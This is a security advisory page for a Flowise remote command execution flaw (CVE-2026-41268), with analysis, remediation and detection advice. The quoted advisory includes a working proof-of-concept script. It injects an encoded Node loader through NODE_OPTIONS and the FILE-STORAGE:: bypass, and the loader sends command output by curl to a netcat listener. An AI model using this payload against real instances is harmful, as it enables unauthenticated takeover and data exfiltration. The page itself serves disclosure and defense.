CVE-2026-41268: Flowise: Parameter Override Bypass Remote Command Execution
Flowise, the low-code LLM app builder, allows unauthenticated remote command execution through one HTTP request to a public chatflow. A bypass in the API override check lets the caller replace the Custom MCP server config and set NODE_OPTIONS. flowise and flowise-components 3.0.13 and earlier are affected. Fixed in 3.1.0.
Published Apr 16, 2026 · Updated Apr 24, 2026 · Analysis Nov 6, 2026
What an attacker can do
replaceInputsWithConfig in packages/server/src/utils/index.ts decides which parameters an API caller may override. It skips the isParameterEnabled() check whenever the value includes the string FILE-STORAGE::. That test uses includes() instead of startsWith(), and it applies to any parameter, not only file inputs. A value like /* FILE-STORAGE:: */ followed by a config therefore passes. The caller can override mcpServerConfig, which no administrator authorized.
The Custom MCP node runs the configured command. Its env blocklist in packages/components/nodes/tools/MCP/core.ts covers only PATH, LD_LIBRARY_PATH and DYLD_LIBRARY_PATH. NODE_OPTIONS is not blocked, so the attacker sets --experimental-loader and runs JavaScript before the main process starts.
The chatflow must have API Override turned on, be public, and contain an MCP tool node. API Override is off by default, but it is a documented feature used for session IDs and multi-tenant setups. With those conditions, one unauthenticated request runs commands, as root inside the standard container. The CVSS 3.0 vector rates complexity high (AC:H) for the preconditions.
Who is affected
flowise and flowise-components at 3.0.13 and below. Exposure needs a public chatflow that contains a Custom MCP tool node and has API Override enabled in Chatflow Configuration. Instances with no such chatflow are not reachable by this path. Check:
npm ls flowise flowise-componentsflowise
- Ecosystem
- npm
- Affected
- <= 3.0.13
- Fixed in
- 3.1.0
- Check
npm ls flowise
flowise-components
- Ecosystem
- npm
- Affected
- <= 3.0.13
- Fixed in
- 3.1.0
- Check
npm ls flowise-components
How to fix it
Upgrade flowise and flowise-components to 3.1.0.
npm install [email protected] [email protected]The advisory lists no workaround. Because all three conditions are required, turning off API Override on public chatflows, or making them private, or removing the MCP node, removes the path; that is our inference, not a vendor statement.
How to tell if you were hit
Look in access logs for requests to public chatflow prediction URLs whose overrideConfig contains FILE-STORAGE:: inside a comment together with mcpServerConfig or NODE_OPTIONS. Check the Flowise process tree for node processes started with --experimental-loader, and for unexpected child processes or outbound connections from the container. Review chatflows that have API Override on and a Custom MCP node. Beam records shell commands on the host, so an unexpected command from the Flowise server would show.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the FILE-STORAGE:: keyword combined with a NODE_OPTIONS environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance.
Details
The vulnerability is in a validation check within the replaceInputsWithConfig function within packages/server/src/utils/index.ts. The check for FILE-STORAGE:: was intended to handle file-type inputs but has three issues:
- Uses .includes() instead of .startsWith(): The check passes if FILE-STORAGE:: appears ANYWHERE in the string, not just at the beginning. A remote user can embed it in a comment: /* FILE-STORAGE:: */ { custom config }
- No parameter type validation: The check doesn't verify that the parameter is actually a file-type input. It applies to ANY parameter name, including mcpServerConfig.
- Complete bypass, not partial: When the check passes, it skips the isParameterEnabled() call entirely, allowing modification of parameters that administrators never authorized.
Vulnerable Code (`FILE-STORAGE::` bypass):
// packages/server/src/utils/index.ts, line 1192-1198
// Skip if it is an override "files" input, such as pdfFile, txtFile, etc
if (typeof overrideConfig[config] === 'string' && overrideConfig[config].includes('FILE-STORAGE::')) {
// pass <-- BYPASSES ALL VALIDATION
} else if (!isParameterEnabled(flowNodeData.label, config)) {
// Only proceed if the parameter is enabled
continue
}This bypass allows an attacker to override the mcpServerConfig and inject a malicious NODE_OPTIONS value. The Custom MCP node's environment variable blocklist does not include NODE_OPTIONS, enabling an attacker to use the --experimental-loader to execute arbitrary JavaScript code before the main process starts.
Vulnerable Code (`NODE_OPTIONS` not blocked):
// packages/components/nodes/tools/MCP/core.ts, line 248-254
const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH']
for (const [key, value] of Object.entries(env)) {
if (dangerousEnvVars.includes(key)) {
throw new Error(`Environment variable '${key}' modification is not allowed`)
}
}Requirements
API Override Enabled The chatflow must have "API Override" toggled ON in Chatflow Configuration. Public Chatflow The chatflow must be shared publicly. MCP Node The chatflow must contain a MCP tool node (Custom MCP tool was tested and confirmed).
Although not enabled by default, the API Override feature is a powerful and officially documented capability that may be used in production deployments. Its primary purpose is to make chatflows dynamic and user-aware.
Common use cases that necessitate enabling this feature include:
- Session Management: Passing a unique
sessionIdorchatIdfor each user to maintain separate conversation histories. - User-Specific Variables: Injecting user data such as name, preferences, or role into prompts to create personalized experiences.
- Dynamic Tool Selection: Allowing users to specify which data sources or APIs to query based on their needs.
- Multi-Tenant Applications: Supporting different configurations for each customer or organization without deploying separate chatflows.
- A/B Testing: Evaluating different prompts or models in a live environment.
Setup
To reproduce the vulnerability, follow these steps:
Step 1: Start Flowise Instance
docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latestStep 2: Configure a Public Chatflow with MCP Tool
- Navigate to
http://localhost:3000and create an account. - Create a new chatflow.
- Add a
Custom MCPnode and aCustom JS Functionnode. - Connect the
Custom MCPoutput to theCustom JS Function's tools input. - Configure the
Custom JS Functionto be anEnding Nodewith the code:return $tools ? "Tools loaded" : "No tools"; - Configure the
Custom MCPwith the MCP Server Config:{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]} - Save the chatflow and note the
chatflowIdfrom the URL. - In Chatflow Configuration, enable API Override and make the chatflow Public.
PoC
Single-Request RCE with remote command output retrieval. The following demonstrates arbitrary command execution with automatic data transmission to a remote listener:
Step 1: Setup Listener
# Start netcat listener to receive transmitted data
# Note: If testing locally, run this in a separate terminal
nc -lvnp 5000
echo "Listener started on port 5000..."Step 2: Trigger Exploit
#!/bin/bash
CHATFLOW_ID="ABC-123-..."
TARGET="http://localhost:3000"
LISTENER_IP="172.17.0.1" # Docker local IP for testing
# Payload: Execute commands and transmit output to remote listener
LOADER_CODE='import{execSync}from"child_process";const cmd="id && pwd && ls";const out=execSync(cmd).toString();try{execSync("curl -s -m 3 --data-binary \""+out+"\" http://'$LISTENER_IP':5000");}catch(e){}export{};'
ENCODED=$(echo -n "$LOADER_CODE" | base64 | tr -d '\n')
# Construct the crafted MCP config
CONFIG='{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"],"env":{"NODE_OPTIONS":"--experimental-loader data:text/javascript;base64,'$ENCODED'"}}'
CONFIG_ESCAPED=$(echo "$CONFIG" | sed 's/"/\\"/g')
# Single request triggers RCE
curl -X POST "$TARGET/api/v1/prediction/$CHATFLOW_ID" \
-H "Content-Type: application/json" \
-d "{
\"question\": \"trigger\",
\"overrideConfig\": {
\"mcpServerConfig\": \"/* FILE-STORAGE:: */ $CONFIG_ESCAPED\"
}
}"Step 3: Verify Command Execution
# Check the listener output
Connection received...
POST / HTTP/1.1
Host: 172.17.0.1:5000
User-Agent: curl/8.17.0
Accept: */*
Content-Length: 214
Content-Type: application/x-www-form-urlencoded
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
varImpact
This vulnerability allows for:
- Full Container Compromise: Arbitrary command execution as the root user.
- Data Exfiltration: Access to all secrets, credentials, and user data within the container.
- Lateral Movement: A pivot point for attacking internal networks and other connected systems.
The exploit requires no prior authentication, no specific knowledge of the target instance, and is executed with a single HTTP POST request, making it a critical and easily exploitable vulnerability.
Credit
Jeremy Brown
Credited to retpoline.
Questions
- Does CVE-2026-41268 need a login?
No. The attacker sends one HTTP request to a public chatflow. They need no credentials and no knowledge of the instance.
- Is every Flowise instance exposed?
No. The chatflow must be public, have API Override turned on, and contain an MCP tool node. API Override is off by default.
- What is the core bug?
A FILE-STORAGE:: string match using includes() skips the parameter allowlist, and NODE_OPTIONS is missing from the MCP env blocklist.
- Which version fixes it?
3.1.0 for flowise and flowise-components. Versions up to 3.0.13 are affected.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Flowise vulnerabilities
All Flowise entriesCVE-2026-73483
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
critical9.4Oct 7, 2026CVE-2026-73487
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
critical9.0Oct 7, 2026CVE-2026-69250
Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
high8.5Aug 4, 2026CVE-2026-69251
Flowise RCE via TypeORM DataSource
critical9.0Aug 4, 2026CVE-2026-69252
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
high7.2Aug 4, 2026CVE-2026-69253
Flowise Sandbox Escape to RCE
critical9.0Aug 4, 2026
